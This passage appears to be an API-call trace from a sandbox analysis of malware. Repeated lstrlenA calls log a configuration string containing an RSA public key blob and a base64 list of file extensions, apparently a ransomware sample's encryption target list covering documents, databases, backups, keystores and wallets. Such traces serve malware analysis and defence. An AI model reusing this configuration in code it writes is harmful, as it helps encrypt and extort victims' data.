iwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.470] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.470] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.470] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4